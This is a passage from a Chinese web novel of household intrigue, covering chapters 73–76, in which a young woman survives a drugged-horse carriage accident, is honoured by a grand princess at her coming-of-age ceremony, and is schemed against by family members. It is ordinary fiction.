二人说着话,突然听到来福在马车窗边压低声音说:“爷,独眼传过来消息了。姑娘那拉车的马口有白沫,不像是摔死的,倒像是先中了什么东西,才发狂而死。” “我知道了,叫他们查一下,这马在寺庙里到底经了谁的手。”周乐天冷声说。 那边来福便立刻去了,周乐天看着关怀素,眼里藏不住的心疼和担忧。 关怀素听到这里,脸色发白,她不可置信地说:“有人要害我,不,有人想杀我?!” 而后她脑海之中划过了姐姐死前的样子,关怀素突然确认——姐姐之死绝对有蹊跷!再无一丝凑巧了! 有人,有人一直想杀了姐姐,有人不想关家这个女儿活! 可是为什么? 如果是后宅斗争,为了钱财,在庄子上动手苛待而死,关怀素能想得通,因为那儿不起眼,死了便死了,惹不起什么注意。 可今时今日,她在天子脚下,旁边还有周乐天这种人,背后之人居然都敢对她直接动手,这简直是无法无天到了极点! “这实在是不合常理,京师门口、天子脚下,如此直接动手杀人,若是叫人查出来,是杀头大罪。谁会如此深恨我,谁会如此不计代价也要杀了我?”关怀素好像在和周乐天说话,但是实际上是在自问自答。 她的脑子疯狂转动,似乎有无数个近在咫尺的答案,可是却也一个都合不上。 关怀素不理解,她完全无法理解。 “好了、好了!”周乐天看着她神色不对,立刻上前一把抓住她的手,制止她继续想下去,只连声说,“别想了,我去查,我去帮你查清楚!” 关怀素被他打断思路,这才察觉到自己全身冷汗,她看着周乐天濡湿的眼睛、苍白的脸和担忧的神色,立刻打起精神来,温声说:“没事,我没事。我只是在想,谁会这么恨我,冒着这么大的风险也要杀我。寺里人多眼杂,查应是查不出什么线索的……” 说到这里,关怀素咬唇,轻声说:“对,如此查是查不到线索的……” 她想到这里,心中已经慢慢冷静下来,对周乐天说:“侯爷您放心,我心中有数了,之后会再小心些的。” 周乐天见她果然神色冷静下来,这才发现自己情急之下又握住了她的手,这才马上被烫到一般松开,轻咳一声,看着马车厢上的雕花,轻声说:“你若是有什么要帮忙的,便随时叫人来给我带个信便好。” 关怀素微微一笑,轻声说:“好,多谢侯爷。” 二人说话之间,京师终于到了,周乐天送关怀素回了李家,惊险的一天到了这个时候,终于才算是结束。 当然,只是面上如此罢了。 起码有人听到大姑娘平安无事回来了,就已经是一惊,脱口而出:“她怎么还活着?!” 第七十四章 及笄之贺 发出那声愤怒声音的,不是别人,正是李家老夫人。 她神色愤怒,不可置信地看着崔妙人,说:“不是说安排好了吗?” “老夫人,事情安排的都十分顺利,却没想到平安侯竟是跟大姑娘同路回京。”崔妙人咬牙,轻声把事情全说了。 “那病秧子不是一到冬天就卧床不起的吗?怎地今年竟还能骑马了?”老夫人不可置信。 “说是强撑的,当场就吐血了,回来的时候下人看到大姑娘身上也有血。”崔妙人说完,咬牙说,“关键是平安侯身边人太多了,查出来马是中了药,又派了人去流云台寺查……” “你慌什么?”老夫人见崔小娘心中惊慌,立刻皱眉,说,“那地方人多眼杂,怎么查的出来?交代办事的人咬死不放就是。” 崔小娘点点头,迟疑地说:“那如此一来,大姑娘那边……” “便先等一下。”老夫人皱眉,有些烦躁地说,“她马上就要及笄了,婚事也被耽搁了,总得想个办法,不然她一直留在京师,我这心里还是不踏实。” “老夫人。”崔妙人压低声音说,“这事儿倒也简单,您也是大姑娘的长辈,只需要叫大娘子快些给大姑娘张罗,翻年快快把事情办了,何至于烦心?” 老夫人听到这里,便叹了口气,说:“如今之计,也只能这么办了。” 说完又狠狠骂了一句:“偏她有这个好运道!” 崔小娘小心伺候了半晌,总算老夫人疲乏了,她这才带着姜妈妈一路出来,回自己屋里。 “小娘辛苦了,一站就是大半天,快泡泡脚吧。”一进屋,姜妈妈立刻叫了热水。 婆子送了水上来,伺候崔小娘泡脚,热水浸没脚掌,崔小娘发出一声满足的喟叹。 姜妈妈轻柔地给崔小娘按着,瞧着她神色放松,眼神一转,轻声说:“小娘这几日实在是太劳神了,依我看,大姑娘不过是个随手就能打发的,交给大娘子那边去处理就是,倒是后院那个宁小娘,如今这些日子愈发得势了呢。” 这话说的,崔小娘冷哼一声,闭着眼睛说:“你当我想管这乱七八糟的事?可老夫人心里记恨大姑娘,死催活催也要整治她,我若是不办,你当我能有什么好果子吃?” 姜妈妈迟疑地说:“老夫人这些年待小娘如半个女儿,您若是办不好,总会退让的。” 崔小娘冷笑,说:“可见你不了解咱们老夫人。” 姜妈妈给她按完头,又拿帕子给她擦干净脚,然后把她的脚摆在美人榻上,一手抱着一只脚,开始给崔小娘按脚。 一边按一边说:“许是我没见识,但是我瞧着老夫人素来都很是帮着西院,对二姑娘和大郎也十分舍得呢。” 崔小娘便神色柔和了一些,叹了口气,说:“那是自然,都是老爷的骨肉,自然不一般。至于我……” 崔小娘冷笑了一下,对姜妈妈说:“妈妈你跟了我也有十来年了吧?” 姜妈妈点头,崔小娘便轻声说:“那你瞧瞧,我如今都三十出头的人了,生了一子一女,若是真心疼我,谁家这个年纪、孩子都要婚嫁的小娘,还得天天站规矩伺候人?便是京师里大房也不会这么天天整治人呢!” 这倒是实话,慈和些的人家,孩子都已经长成的妾室,就算偶尔要伺候人,但是也不至于每天跟个大丫鬟一样,天天这么一天伺候到晚。 姜妈妈听到这里,便也叹了口气,轻声说:“老夫人确实习惯小娘伺候,整日离不得您。” 崔小娘冷艳的脸上闪过一丝怨愤,面上却笑了笑,轻声说:“是啊,我自小便伺候她,老夫人确实离不得我。” 姜妈妈不敢抬头看崔小娘的表情,只动情地说:“小娘委屈了,不过如今若是只一味盯着大姑娘,留下痕迹不说,就怕耽误了小娘的精力,若真是叫后院把老爷笼络住了,那岂不是失了大头?” 崔小娘轻声说:“你三番两次这么提醒我,可是听说什么事情了?” 姜妈妈立刻便说:“这才多久,老爷给后院开了库房,据说几十年的人参都拿去给宁小娘养身子了,这还不算诸多赏赐……前几日宁小娘说家里人要来,老爷还提前说了,到时候给家里封一百两的路费,前几日张妈去厨房给小娘要夕食,竟是先给西院做了才给我们开火。” 崔小娘听到这里,立刻便意识到此事确实不对,她立刻便皱眉说:“厨房的人也太狗眼看人低了,我还有文哥儿和蓉儿呢!珺哥哥才几日没来,竟敢对我下脸子!” 说到这里,她气得胸脯起伏了几下,才对姜妈妈说:“妈妈说的是,这家里都是见风使舵的,珺哥哥才七八日没过来,竟就这样了。” “是啊,小娘您在后宅里,虽也是靠着老夫人,但是根子上的依靠还是老爷啊!”姜妈妈见她终于听进去,立刻激动地说,“不瞒小娘,兰花是我干女儿,我无儿无女,本来一辈子也是指望她的,她在大姑娘那边折进去,我也伤心,我也巴不得大姑娘死呢!可是我更担心小娘您使错了力,到时候把根本都丢了,这可是下半辈子的大事,便是大哥儿和二姑娘不也受瓜落?” 崔小娘听到这里,心中感动,叹了口气,拍拍姜妈妈说:“我知道妈妈一心为我。” 而后又说:“妈妈,如今我办事也就全托付给你了,一会子晚上你去跟办事的两个婆子说清楚,这事儿许是没事,万一有事,我保她们全家下半辈子无忧。但是若是走漏消息,可就怪不得我了。” 姜妈妈连连点头,脸上露出凶狠之色,说:“小娘只管放心,我知道。” 关怀素回屋就请了郎中,确认身上只是擦伤,加上受了些惊吓,并未伤及肺腑。 郎中留了一瓶红花油和安神方子,便自去了。 “今儿个事情发生的突然,带去的人手都是什么来历?”关怀素并不休息,立刻问丁妈妈。 “都是带惯的洒扫婆子,每回出去都是她们,明面上实在是瞧不出不对。”丁妈妈立刻告罪,蹲身说,“是我的不是,择人不严,差点害了姑娘。” “起来吧,我不是怪罪妈妈。”关怀素叹了口气,说,“妈妈来家里才几个月?哪里能把这些私底下盘根错节的事情样样顺清楚?咱们这回中计,下回更加谨慎便是。” 又低声说:“叫小荷也小心些,家里最近只怕不太平,她年纪小,别叫人抓住错处。” “哎,姑娘放心,等闲不叫她出去。”丁妈妈闻言咬牙低声说,“今儿这事儿,我私下再打听打听,世上没有不透风的墙,我倒要瞧瞧谁吃我们的喝我们的,拿了赏钱还害人!” 关怀素点点头,又叮嘱小心行事,心力交瘁,还担心周乐天的伤势,就这么胡乱想着,勉强睡下了。 第二日一早,关怀素一睁开眼睛,就想叫丁妈妈去公主府打探一下,看看周乐天身体如何。 却没想到丁妈妈急匆匆地进来,说:“姑娘!大长公主带了几车礼物来了,说是要给姑娘贺及笄!” 关怀素一下子愣住了。 李家前院,孙萍正紧张地接待大长公主。 大长公主叉着腰,看着李家,皱眉问:“怎么回事,难道我记错了,今儿不是玉儿及笄的日子?” 孙萍汗都出来了,这么多年大长公主戍守边关,便是一封信也没来过,李家人早以为大长公主把这故交之女忘到九霄云外去了。 谁能想到这时候竟突然亲热起来,还过来质问他们? 但是没办法,孙萍面上还得赔笑行礼,说:“回殿下,我家老爷说,玉儿和蓉儿两姐妹及笄隔得近,便想着一起在上元节过。” 大长公主听完,不可置信地说:“荒唐!你李家是揭不开锅了吗?连玉儿的及笄礼都要和别人一起办?你们若是没钱办,就告诉我,我给玉儿办!” 说话之间,关怀素已经到了,她听到这里,立刻便知道大长公主是来给自己做脸撑腰,心中感动,立刻上前行礼:“伯娘,您来了。” “起来,玉儿,姑娘家及笄是一辈子只有一次的大事,你阿娘当初及笄,我们在皇家园林里摆了一花园的酒席,舞剑高歌,满京师的姑娘们都来了,何等惬意快活。怎地到了你,居然还要和婢妾之女凑一个日子?”大长公主一开口就仿佛几个耳光扇在了孙大娘子的脸上,便是听到动静赶来,躲在屏风后面偷听的婉蓉,也觉得脸上火辣辣地生疼。 孙大娘子更是叫苦不迭,只能说:“殿下说的是,也是我们家里糊涂了,我已经叫老爷回来了,晚上便大摆酒席,定要给婉玉办个风光的及笄宴!” “你这临时凑起来的及笄宴算是个什么事!”大长公主却十分不满意,对着关怀素说,“玉儿,走,与我一起出去,去公主府与你办及笄宴!” 说完,她对着关怀素伸手。 关怀素也是没想到大长公主竟如此火爆脾气,闻言正想说什么,却被孙大娘子一下子挡在面前。 孙大娘子吓得脸色发白,愈发谦卑地躬身行礼,颤声说:“我立刻便叫下人去万叶楼摆宴,马上发帖子,还请殿下饶了我们轻忽之罪!” 今儿若是真叫大长公主把人带走,她和李珺在京师都不用做人了。 苛待原配嫡女的名声从此就会钉死在李家人身上,只怕李家人都不用出门交际了。 想到这里,孙大娘子心中颤抖,哪怕被大长公主一身气势吓得快昏过去,依然还是咬牙死死支撑。 “玉儿!”大长公主皱眉,说,“你有何想法?” 关怀素落落大方笑着说:“我不喜欢劳什子大宴宾朋,但是我却十分向往伯娘所说的舞剑高歌……若是能叫上我熟悉的几个姐妹,一起纵马玩耍一番,倒是快活。” 她这番话一出口,孙大娘子脸上十分精彩——因关怀素虽选择出去,但是又没有大办,这就会让他们的处境十分微妙,偏还无法主动与人分说,显得心虚。 真是好阴毒的人! 孙萍恨恨地想着,可大长公主牵着关怀素离开,她也不再有胆气阻拦了。 大长公主牵着关怀素出去,孙大娘子脚一软,跌坐在椅子上,喘着气说:“现如今不是我们能管的事了,叫人快些去催老爷,叫老爷定夺!快!” “你方才可是顾忌你爹的声誉,特地选了这么个折中办法?”大长公主一上马车就问关怀素。 关怀素轻声说:“有也没有。” 见大长公主迟疑,关怀素便细细解释,说:“我确实十分向往纵马舞剑之乐,但是我也确实不想此事闹大。” “哦?怕别人说你轻狂?”大长公主笑着问。 虽然在笑,但是关怀素看的出来,大长公主在审视她的反应。 关怀素便直截了当地说:“不是,是因为我现在不能离开李家,所以不能彻底与李家撕破脸。” 大长公主眯了眯眼睛,突然说:“你和传回来的消息很不一样。” 关怀素一愣,心中一紧。 下一刻大长公主却笑了笑,说:“你是个好孩子,很聪明,如此我也放心了。” 关怀素不知她在放心什么,但是接下来,大长公主竟真的好像一个普通长辈一般,带着她纵马出城,不到一个时辰,李珺官袍都没换,也是纵马前来,到了地方滚身就是一个大礼,说:“殿下赎罪,下官来接玉儿回去办及笄宴!” 大长公主冷哼一声,说:“你不是要把玉儿的及笄宴与家里那婢妾之女凑一起办吗?” 李珺脸色发白,说:“是下官轻忽。原是玉儿体贴,说年关前后家中事务繁忙,主动提出要与妹妹一起办,也是臣疏忽,竟没想到不对,如今想起来,确实太委屈孩子,所以这会子已经给亲近家人发了请帖,在家里热热闹闹地办一场,若是殿下有空,那玉儿这主理人也有了,真正是天大的福气!” 他这话说的确实十分熨帖,又把事情说成了是关怀素孝顺,又把事情也办的漂亮,如此一来,及笄宴办的漂亮,给关怀素长了面子,也同时宣扬了关怀素的孝顺与大气。 大长公主知道关怀素的顾虑,也并不是真想逼死李珺,弄臭李家的名声,专门带着关怀素骑马,其实也就是等着李珺过来递台阶。 闻言便问关怀素:“玉儿,你可愿意回去?” 关怀素当然也知道,便说:“哪里晓得我一番自作主张,竟惊动伯娘,又害得爹爹差点被人误会,我们快些回去,别叫宾客久等了。” 李珺第一次听到关怀素叫大长公主伯娘,登时眼睛都吓得瞪大了一圈,背上的汗水连片流下来,死死咬了一下舌尖,才勉强镇定地起身骑马,跟着回去。 几人一路回了李家,便见到一些眼熟的亲戚全数来了,程娘子也已经早到了,看到关怀素和大长公主来了,面上的愤怒算是少了些。 除了程娘子大概猜到不对劲,其他人都不知道之前的风波,只当是李家下人弄错了帖子时间,心中本来还因为仓促十分有怨言。 但是这会子见到大长公主亲自牵着关怀素回来,还亲自叫人送上了一顶繁复的明珠六拉翅二十四节气珍珠礼冠,登时纷纷倒抽一口凉气——这发冠规制可是公主王妃才能用的,且珍珠个个拇指大小,流光溢彩,瞧着只怕都能换一栋京师的大宅子了! “嗯,当年素素就喜欢珍珠,我叫人攒了七八年,才得了这几斛一模一样大小的……”大长公主说到这里,神色流露出一点悲伤来,但是她立刻压下去,只看着关怀素,像是看着某个极其怀念的人,她轻声说,“只是等太久了,她没用上,我当日一瞧见你,就觉得适合你,如今看着,果然是如此。” 关怀素心中也涌起一股子哀伤来,为了未曾见过的母亲。 她含泪眨眼,轻声说:“多谢姨母。” 大长公主亲自为她簪上帽簪,程娘子为观礼宾客,全套装扮上之后,关怀素原本就生的好,如今这么一装扮,真是神妃仙子一般,华丽高贵、不可直视。 一场及笄宴热热闹闹办下来,李家的亲朋都神色各异。 而婉蓉与婉淑则更是仿佛毒蛇噬心,面色各异。 崔小娘与大娘子心中百味杂陈不说,老夫人强撑着送走客人,回屋就摔了一盏茶杯。 “贱婢!贱婢!”老夫人怒火噬心,恶狠狠地咒骂,“贱婢之女,凭什么活的那么好?为什么不去死,为何不去死?!!” 王妈妈刚巧在门口送东西,恰好听到这里,登时悚然一惊。 她左右看了一眼,见没人看到自己,便小心地贴在窗户上,悄声往里面听。 便听到陈妈妈轻声说:“老夫人,别气坏自个儿,且让大姑娘轻狂两天,再找办法整治她!” “说的简单!”老夫人气得不行,怒声说,“现在大长公主如此,要如何对她下手?只怕嫁出京师也难了,难道眼睁睁见她过好日子不成?” 王妈妈听到这里,愈发心惊肉跳,正听得紧张时,却见拐角处猛地走出来一个老妈妈。 王妈妈见状不好,反应很快,立刻退到廊下,悄没声息地躲起来。 第七十五章 露痕迹 及笄宴办完,李珺留了关怀素饮茶,二人对坐,李珺便温声说:“女儿家及笄宴只得一次,之前想着都是一家子姐妹,便挑个好日子一起庆贺,确实是你母亲考虑欠妥了。” 又轻声说:“你这孩子,心里觉得委屈,在家里怎地不找父亲说?” 关怀素恭敬接过茶杯,放在手边,笑了笑说:“父亲,前些日子周妈妈通知我这事儿的时候,我答应了的,女儿心中并不觉得委屈,自然也不曾对任何人诉说。” 李珺登时心中一咯噔,皱眉问:“所以大长公主今日是不请自来?” 关怀素轻声说:“许是伯娘曾与阿娘有什么约定呢,今日叫父亲难做了。” 她如此反而安慰李珺,倒叫李珺有些惭愧,他拍拍关怀素的手,温声说:“我这些日子繁忙,你及笄的事情全数交给大娘子,倒真是差点委屈你了。” 又说:“你是个识大体的孩子,李福,去把我准备的礼物给姑娘拿来。” 关怀素笑着接下,带着礼物回院子。 “姑娘,老爷说的像是他不知道及笄礼要混一块儿似的。”柳叶进屋就说,“若不是长公主殿下来,他肯定要糊弄过去了,如今倒在你面前装傻。” “面子上过得去就行了。”关怀素皱眉,轻声说,“倒是丁妈妈回来了么?今儿个侯爷没来,我怕他身子是真的不好,真是叫人忧心。” 若不是怕太显眼,关怀素甚至想自己亲自去探望他了。 她在这边忧心,那边李珺送走她,就去了宁小娘屋里,到了之后,他叹息一声,忍不住说:“双双啊,你说,婉玉是不是最近性子变了个人一般?” 宁小娘一愣,而后笑了,说:“老爷的意思是?” “婉玉小时候受了委屈,若是我问起,总归是难受的。今日她及笄的事情,我说起来,她气度悠闲,竟像是真的混不在意。”李珺迟疑地说,“不是说女儿家及笄是一生一次的大事吗?她怎会如此淡然?” “哎哟,我还当什么事情呢。”宁小娘笑出声来,说,“珺郎是男子,不懂女儿家的心思,这大姑娘啊,一开始一定是委屈的,但是晚上,她肯定不委屈了。” “哦?”李珺好奇地笑着拱手,说,“还请娘子指点为夫!” “大姑娘可能开始有些委屈,但是殿下亲自登门庆贺,老爷请假亲自去迎,又是礼物又是赔罪,作为一个父亲,大姑娘定然懂这是您的关爱之心。”宁小娘笑着说,“至于大娘子,到底不是大娘子肚皮里出来的,许多事情没那么周到,大姑娘懂的,反倒不计较了。” 宁小娘这么一说,李珺这才恍然大悟,说:“你说的是,婉玉素来就是个好脾气的。” 又皱眉说:“都怪下人胡说八道,闹得我都恍惚了。” 宁小娘低头,掩过眼底厌色,抬头又是笑靥如花地附和:“是啊,一天天的,把家里弄得神神叨叨的。” 二人说完,便谈笑携手入席用夕食,而另一边,孙萍正悄悄接待一位悄然造访的客人。 客人是周妈妈。 “娘子,我那孙儿在八仙庄那边转了好些日子,实在是没查出一点事情。”周妈妈进门就说,“好在这小子机灵,干脆去周围打听一圈,确实打听出来了一些头绪,说是年头春上三月时,有自称永年县关家人去了八仙庄,说是探故旧后人。” 孙大娘子紧张地问:“这事儿婉玉没说,关家居然还有人找来京师,也没来家里!他们做了什么?” “不知道,只知道他们自称关氏子弟,第一回是一个俊俏后生带着一个小厮,第二回却多了一个兄长。”周妈妈飞速说,“这倒不是大事,主要是我那孙儿留了个心眼,说那兄长离开八仙庄之后,过了三个镇子,便买了棺木扶灵单独扶灵回乡……” 孙大娘子倒抽一口气,说:“还死了人?!” 周妈妈立刻点头,眼睛发亮,说:“死了人,且买的寿衣是女子寿衣。去的时候都是男子,回来的路上却是姑娘,这里头有猫腻啊娘子!” 孙大娘子激动得全身发跳,说:“怎么回事,来的是男子,走的时候是姑娘,死了人,到底死了谁?” “实在是想不到发生了什么,要弄清楚,只怕还得去永年县细查!”周妈妈说,“老身这回来,就是想问娘子,查还是不查?” 孙萍捏着帕子想了一会儿,猛地走到妝枢面前,打开底下的箱笼,拿出来了一个黑色的漆木盒子。 漆木盒子打开,顶上刻着两只活泼逗趣的蝉。 一层一层打开,里面全是各种小孩的金器。 “我一直奇怪,这里头备的所有项圈璎珞,全数都是一对。”孙大娘子眯着眼睛,看着这里面的金器,轻声说,“先头我以为是关娘子家大业大,图个喜庆,如今想起来……” 孙萍的手在蝉上抚摸着,也不知是不是上天的启示,突然她抚摸了五圈之后,不小心按了一下蝉的腿。 其中一只腿突然软下来,孙萍吓一跳,下一刻,却见到蝉打开了。 这金蝉里面居然是中空的,里头放着一束黝黑的头发。 孙萍一愣,而后试着同样的手法,抚摸右边的蝉,“哒”的一声,机关弹开,里面放着一束枯黄的头发。 “这是……”周妈妈凑过去细看,她人老成精,立刻认出来,惊讶地说,“这好像是小儿胎发!” “是。”孙萍眯了眯眼睛,轻声说,“而且是两个不同的胎儿。” 说完,孙萍眼神锐利,立刻说:“查!去永年县细查!这里头肯定有问题,必须查清楚!” 她站起来,捏着帕子在屋里走动,激动地说:“我正愁她得大长公主的看重,若是真嫁在京师位高权重之家,咱们家不把一大半的家产陪嫁出去,只怕是下不来台了。没想到啊,没想到老天都在帮我,竟叫我发现了关娘子的大秘密!” “当初关娘子陪嫁几千两、四个庄子、头面108副,家里刮干净都凑不出那么多东西,我正忧心呢,没想到啊,没想到啊!”说到最后,孙萍忍不住笑出声来,说:“老天还是站在我这边的,老天助我啊!哈哈哈哈哈,关氏,你机关算尽又如何,你还是斗不过我!” 周妈妈闻言,也是大喜,说:“恭贺娘子!老身即刻叫孙儿出发,去永年县细查!” “务必什么都不要漏过,私藏夫君家里的血脉,送回老家,这要是真的,老爷必然会大怒,我一定要趁此机会,彻底将关氏从老爷心里拔除!”孙萍恶狠狠地说完,叮嘱完周妈妈,立刻叫扶芳,“快给我更衣,我和老爷商议一下大姑娘的婚事去。” 扶芳上前,忍不住轻声说:“娘子既然已经在查她,何必还急着婚事?” “你懂什么?永年县天高路远,来去加上查探,只怕不知要多久呢。女儿家及笄之后,议婚就是头等大事,这里头不能出错。”孙萍说着,更衣完毕,就立刻去找李珺。 宁小娘正在陪着李珺在屋里喝茶,听说孙大娘子来了,还有些奇怪。 结果孙萍进门就笑着说:“本不欲惊扰郎君休憩,只是今日来客诸多,许多人家都透出看上咱们婉玉的意思,纷纷下了帖子,我想着,老爷不知对玉儿的婚事有什么安排,明日开始,我也好多注意一下,多结交适合的人家。” 看看李珺的脸色,孙萍忍不住说:“京师之中一些勋贵之家也有这等意思,我瞧着也是极好的,尤其是今日平安侯也特地叫人备了厚礼,据说日常平安侯对玉儿也是格外亲厚,待之与其他闺秀截然不同,大长公主也喜欢玉儿,我想着这倒是个好的……” “不可!”李珺皱眉,立刻制止,说完发现自己太生硬,便放缓声音解释:“老师给我透了消息,中书舍人已经到了告老之年,等他下去,老师便要推举我!” “中书舍人,那可是在圣人面前伺候的!夫君果然大才!”大娘子一听,登时惊喜又崇敬地看着李珺。 这官位虽只是四品,但是素来都是替圣人笔墨,从来都是圣人心腹肱股之臣才能兼任,若是单独提拔,他日便铁板钉钉是拜相之才! 可以说,成为中书舍人,便是踏上了拜相之路。 就算做不到,最差也能做到三品大员! 看着孙大娘子瞪大眼睛,李珺不免露出了得意之色,然后对孙大娘子说:“我一介清流,要做的是圣人的纯臣,玉儿的婚事,你要快些下手,绝不可出岔子!” 孙大娘子一听,也是心中火热,立刻便说:“那平安侯那边?” “此事绝不可。趁着没人开口,你要快些办此事才是。”李珺闻言,立刻叮嘱,“我的女儿绝不可与武将一脉联姻。” “那要挑选什么人家,老爷可有中意的?”孙大娘子再次试探。 “挑个对玉儿好的便是,也不拘于京师,今日我瞧着玉儿骑马时笑得极其开心,竟和她娘当年差不多的性子。”李珺说到这里,神色有一瞬间的温柔,然后他轻声怅惘地说,“便找个让她自在的地方也好。” 孙大娘子垂下眼睑,遮掩住眼神之中的精光,笑着说:“我记下了,定给大姑娘找个如意郎君。” 二人事情说完,便各自行事。 关怀素转头得了宁小娘的传话。 丁妈妈已经送养身药方回家了,这会子听完皱眉说:“老爷不想和大长公主那边扯上干系,听着倒是能明白,但是怎地不叫姑娘留在京师,说是外面自在……可女子远嫁多么不易啊,老爷是个男子不明白,姑娘可一定要阻止老爷这想法!” 关怀素一听,面上便浮起冷笑来,她轻声说:“老爷不是蠢人,怎会不明白?只怕他也觉得我这个女儿碍眼。” 丁妈妈听她这么说,便轻声说:“姑娘这时候可别想左了,这婚事关系女儿家一辈子的大事……” “无事。”关怀素眯了眯眼睛,冷声说,“我倒是要看看,没了马修文,大娘子还能挑个什么样子的人出来。” 这一天,到了此时,也终于勉强到了尾声。 第二日便是小年,此日圣人封笔,官宦们也全数休沐,书院里的课也停了。 接下来便是过年,好歹是过了一段平稳日子。 当然,期间周乐天那边递来消息,流云台寺人多眼杂,果然没查出什么,于是关怀素差点惊马而死的事情便这么无风无浪地过去了。 直到上元节,才终于连着出了几件大事。 第一件事情,是赵白芷被赐婚,为太子良娣。 第二件事情,跛三风尘仆仆回京复命,查出了姐姐死因。 第七十六章 上元节·(上) 上元节一大早,婉蓉就和婉淑吵了起来。 “就因为早上厨房给三姑娘炖鸡汤,没炉子给她炖燕窝,二姑娘站在院门口指着三姑娘骂架呢!”丁妈妈摇头,说,“前日及笄才跟淑姑娘吵完,今日又吵起来了,二姑娘这性子愈发暴躁了。” 关怀素摇头,说:“家里得了好东西,如今都直接送到宁小娘那边,西院日子不好过了,那天婉蓉及笄,说到婚事的时候,不是又叫大娘子说起给婉淑买庄子的事情?我看她最近是桩桩件件都不痛快,在发火呢。” 丁妈妈闻言,诧异地说,“大姑娘的娘是千金陪嫁,三姑娘的娘是管家的正头娘子,二姑娘对自个儿身份心里难道没点数,竟还要与大姑娘和三姑娘比不成?” “一起长大的姐妹,怎能不比?”关怀素摇头,轻声说,“人不认命,不是什么错处。” 只是不认命,有些人会努力经营自己的日子,把日子过好。 但是另一些人,却会变得愈发轻浮狂躁,甚至伤害无辜的人,这便是可恨了。 “大姑娘,老爷吩咐,今儿晚上贺上元节,全家都要一起出门看灯,让姑娘好好打扮,今日就不必请安了。”正说着话,外头老妈妈进门来,笑着告知今日安排。 关怀素忙应下来,上午看看书,下午便早早熏香,换了套红裙配白狐狸**的袄子,去了老夫人院子里贺节气。 一过去,才发现人都到了。 关怀素和婉淑一起进门,感觉到婉淑用手肘撞了她一下,她抬眼看过去,便看到婉淑示意她看李辰文腰间的玉佩。 那玉佩莹白如玉,一看就价值不菲,不是李辰文素日常见的东西。 不但李辰文身上有,婉蓉正在与祖母笑着说话,抬手就能看到手腕间一对极其清透的绿玉镯。 关怀素看了一眼,并不说话。 婉淑和辰瑜的脸色都不好看,看关怀素不说话,婉淑便笑了笑,开口说:“二姐姐这玉镯好漂亮,辰文弟弟的玉佩也很好看呢。” 老夫人看了一下婉淑,语调不爽利:“你倒是眼睛利,都是我赏的。这节年时候,辰文日日来我院子里陪我这个老婆子说话,你二姐姐更是每日晨昏定省,我老婆子有好东西,愿意给谁就给谁,尚轮不到其他人过问。” 婉淑一下子脸胀得像猪肝,明明是老夫人自己说的年纪大了不耐烦吵闹,不许大家每日来请安。 可她还不能顶嘴,否则便是不孝。 “祖母真是冤枉人!”李辰瑜见状不对,立刻站出来撒娇,拉着老夫人的手不依不饶:“祖母冤枉孙儿,孙儿只要不读书,日日都在祖母这里,昨儿个我与同窗聚会,看到宝斋楼的点心,还特地老远给您揣回来呢!祖母这样说孙儿,孙儿真真是要哭了。” 他一撒娇,老夫人因婉淑眼皮子浅闹出的恼意登时散了干净,她对婉淑和夺了她管家权限的孙萍没好感,这个嫡孙却是打心眼里宠爱。 老夫人一把抱住辰瑜,连声说:“哎哟,是祖母冤枉瑜哥儿了,祖母错了。来看看,祖母给咱们瑜哥儿准备的新年礼物。” 老妈妈笑着捧上来一个精致的木匣子,李辰瑜打开一看,里面静静躺着一只莹白如玉的扳指。 “前头听你爹说,你前不久学骑射的时候,把你爹给你的那扳指弄碎了,还哭了一场鼻子。”老夫人笑着说,“我当时就让陈妈妈找出了这扳指,想着要给你,结果你一直在学堂,年节的时候家里又忙又乱,竟给忘了,一直耽误到现在。” 李辰瑜拿在手里,感动得眼圈微红,说:“这么小的一件事情,难为祖母还一直记在心上……” “你们祖母平素虽不挂在嘴上,但是她对你们这些儿孙的关切却一丝不少。”李珺看到这一幕,十分欣慰,对着李辰瑜说,“你们日后更是要记得多多孝顺祖母,承欢膝下,才是正理。” 众人都齐齐领训。 “蓉丫头我给了玉镯,淑丫头与玉丫头也不会少。”老夫人对孙儿们十分宠爱,说到婉淑和关怀素的时候,脸上的笑意便浅了下来,只说,“这两样,你们一人选一个吧。” 陈妈妈拿了两个合着的匣子上前,婉淑赶紧先挑了一个,关怀素就把最后那个接过来。 “都是你们祖母的心意,今儿你们姐妹便一起戴着庆贺上元节吧。”李珺笑着说了句,婉淑和关怀素就都打开面前的匣子。 婉淑白挑拣了,这两个匣子里东西都是一样,俱是比婉蓉次了一等的飘花绿玉镯。 关怀素面不改色地戴在手上,婉淑瞧瞧婉蓉手腕上那只清透莹润的绿玉镯,再看看自己手上这个带浅绿的,神色有些不忿,但是她低着头很快掩饰过去,不是关怀素与她坐得近,也看不得如此清楚。 关怀素假装什么都没看到,只垂眉敛目,等着父亲与老夫人再说了一会子话,跟着一起出发去灯会。 “真羡慕二姐姐,到底小娘自小伺候祖母,祖母赏赐的镯子都比我和大姐姐的好。”才上马车,婉淑就斯斯文文地笑着对关怀素说。 她这话其实是在暗讽婉蓉婢妾之女出身,婉蓉当场脸就气的发绿,冷声说:“祖母慈爱,大姐姐也是见过不知多少好东西的,不像那小户蓬门出身,见着人家有一点好东西就要暗自讥讽。面上装菩萨,心中不知多少歹毒算计!” 婉淑被气得脸色微变,但是不好发作,否则岂不是坐实了她眼皮子浅? 于是婉淑只笑着说:“二姐姐说什么呢,妹妹只是羡慕二姐姐得祖母格外疼爱罢了。大姐姐,你瞧瞧二姐姐,不知突然生什么气呢。” 关怀素不想给婉淑搭戏,便问:“你们在说什么?我方才在看外面风景,没听清楚。” 婉蓉冷冷瞪了婉淑一眼,凑到关怀素身边,说:“我也瞧瞧!” 婉淑得了个没趣,马车里终于沉默下来。 一家人很快到了地方,赵家包下了整个八珍楼,这地方视野在京师也排得上前十,若是以李家这样的身份,绝无可能在上元节订到如此好的位置。 因此婉淑与婉蓉都十分高兴,哪怕是在车上刚拌嘴完,进八珍楼的时候也笑意盈盈。 关怀素跟着上楼,登高望远,看到京师满城灯火,一派盛世绚烂景色,也跟着神色松快下来。 与赵家人见礼之后,大家凑一堆玩笑,关怀素带着柳叶趴在窗边看满街灯火,低声赞叹。 就在热热闹闹之中,突然有人高声大喊:“吴公公来了!” 关怀素不明所以,却见到赵大人等人都露出震惊之色,全部匆匆起身往楼梯口迎过去。 而后就看到楼梯口走进来一个拿着拂尘的大太监,看打扮便知道在宫里身份不可小觑,吴公公见到赵大人就露出了笑来,清了清嗓子说:“赵大人,不知赵家三姑娘何在?” 大家诧异望去,就看到赵白芷起身,笑容端庄上前叠掌行礼,吴公公吓了一跳,连忙说:“当不起当不起,姑娘要折煞小人了。” 这话说的,关怀素当时就是一愣。 